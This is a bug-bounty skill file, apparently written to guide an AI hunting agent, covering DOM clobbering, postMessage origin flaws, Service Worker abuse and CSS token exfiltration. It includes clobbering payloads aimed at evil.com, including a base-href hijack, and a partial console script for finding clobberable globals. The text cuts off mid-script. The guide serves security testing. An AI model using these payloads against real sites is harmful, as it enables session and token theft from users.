$npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-domHunt client-side DOM vulnerabilities — DOM Clobbering (overwrite JS globals via HTML injection), PostMessage hijacking (missing origin check), Service Worker abuse (intercept requests from same-origin script), CSS Injection/Exfiltration (attribute selectors → token char-by-char v
| 1 | # HUNT-DOM — DOM Clobbering / PostMessage / Service Worker / CSS Exfil |
| 2 | |
| 3 | ## Crown Jewel Targets |
| 4 | |
| 5 | DOM-based attacks execute in the victim's browser — the server often never sees the payload, so WAFs and server-side input filters do not apply. PostMessage missing-origin-check = cross-origin token theft with no XSS needed. |
| 6 | |
| 7 | **Highest-value chains:** |
| 8 | - **DOM Clobbering → DOM-XSS / auth bypass** — HTML *markup* injection (no `<script>`) overwrites a JS global like `window.config` or shadows `document.getElementById`, and the app later treats that value as a URL/code → sink fires under a markup-only injection where script is filtered. |
| 9 | - **PostMessage no origin check → session theft / DOM-XSS** — a `message` handler that trusts `event.data` without validating `event.origin` lets an attacker iframe/opener drive privileged actions or feed a sink. |
| 10 | - **Service Worker abuse** — register a **same-origin** SW script (reachable because of an upload / open-redirect / path the target serves) via stored XSS → intercept all in-scope `fetch` → persistent credential capture. |
| 11 | - **CSS Exfil** — attribute-value selectors (`input[value^="a"]`) leak a CSRF token / API key / nonce char-by-char to an OOB host with zero JS. |
| 12 | |
| 13 | ### Grounding — public research this is distilled from |
| 14 | - **DOM Clobbering / DOM-Invader** — Gareth Heyes & the PortSwigger Web Security Academy "DOM clobbering" topic; DOM-Invader ships a dedicated clobbering scanner. Sink taxonomy maps to the academy's DOM-based vulnerability labs. |
| 15 | - **DOMPurify clobbering & mXSS bypasses** — Michał Bentkowski (Securitum) blog series on bypassing HTML sanitizers via clobbering and mutation XSS. |
| 16 | - **jQuery `htmlPrefilter` self-closing-tag XSS** — **CVE-2020-11022** and **CVE-2020-11023** (jQuery < 3.5.0). Passing attacker HTML to `.html()` / `.append()` mutates into executing markup. Grep bundled jQuery version; this is one of the most common real-world DOM-XSS roots. |
| 17 | - **CSS exfiltration** — d0nut "CSS Injection Attacks" / "Stealing Data With CSS" research (sequential `@import` recursion to drop the per-char-position constraint). |
| 18 | > Cite only what you reproduce. Do not paste these as "proof" in a report — your PoC against the live target is the evidence. Named research here is for *technique provenance*, not severity inflation. |
| 19 | |
| 20 | --- |
| 21 | |
| 22 | ## Attack Surface Signals |
| 23 | |
| 24 | ``` |
| 25 | # Injection points that allow MARKUP but may strip <script>: |
| 26 | user bio / display name / comment / markdown preview / SVG upload / CMS rich-text |
| 27 | |
| 28 | # postMessage endpoints (iframes, SSO widgets, payment frames, chat widgets): |
| 29 | */sso/* */embed/* */widget/* */oauth/* /sdk.js pay/checkout iframes |
| 30 | |
| 31 | # Service worker presence: |
| 32 | /sw.js /service-worker.js /firebase-messaging-sw.js /ngsw-worker.js (Angular) |
| 33 | |
| 34 | # CSS injection points: |
| 35 | ?theme= custom-css profile field email-template editor style= passthrough |
| 36 | ``` |
| 37 | |
| 38 | --- |
| 39 | |
| 40 | ## Phase 1 — DOM Clobbering |
| 41 | |
| 42 | ```bash |
| 43 | # Signal: app reads element IDs/names as if they were JS objects, OR feeds a |
| 44 | # clobberable global into a sink (location, innerHTML, eval, script.src). |
| 45 | # Inject MARKUP (no script) at a sink that lets named/id'd elements through. |
| 46 | |
| 47 | # Single-level clobber of window.config: |
| 48 | # <a id="config" href="https://evil.com"> |
| 49 | # Clobber a NON-built-in global the app reads (built-in methods like getElementById can't be shadowed this way): |
| 50 | # <a id="config"></a><a id="config" name="url"> # window.config.url resolves to an attacker-controlled element/string |
| 51 | # Clobber a string-coerced URL value (anchor toString() == href): |
| 52 | # <a id="x"></a><a id="x" name="y" href="https://evil.com"> # x.y -> href |
| 53 | # Nested window.a.b.c via form/inputs: |
| 54 | # <form id="a"><input id="b" name="c" value="clobbered"></form> |
| 55 | # baseURI / relative-URL hijack: |
| 56 | # <base href="https://evil.com/"> # bends every relative src/href |
| 57 | ``` |
| 58 | |
| 59 | ```javascript |
| 60 | // Browser console: find globals that are clobberable AND reach a sink. |
| 61 | // A var only matters if the app later concatenates it into a URL/HTML/eval. |
| 62 | const susp = ['config','settings','options','appConfig','init','data','user', |
| 63 | 'token','csrf','nonce','baseUrl','apiUrl','cdn','redirect','next','debug']; |
| 64 | susp.forEach(k => { |
| 65 | const v = window[k]; |
| 66 | // HTMLCollection / element => al |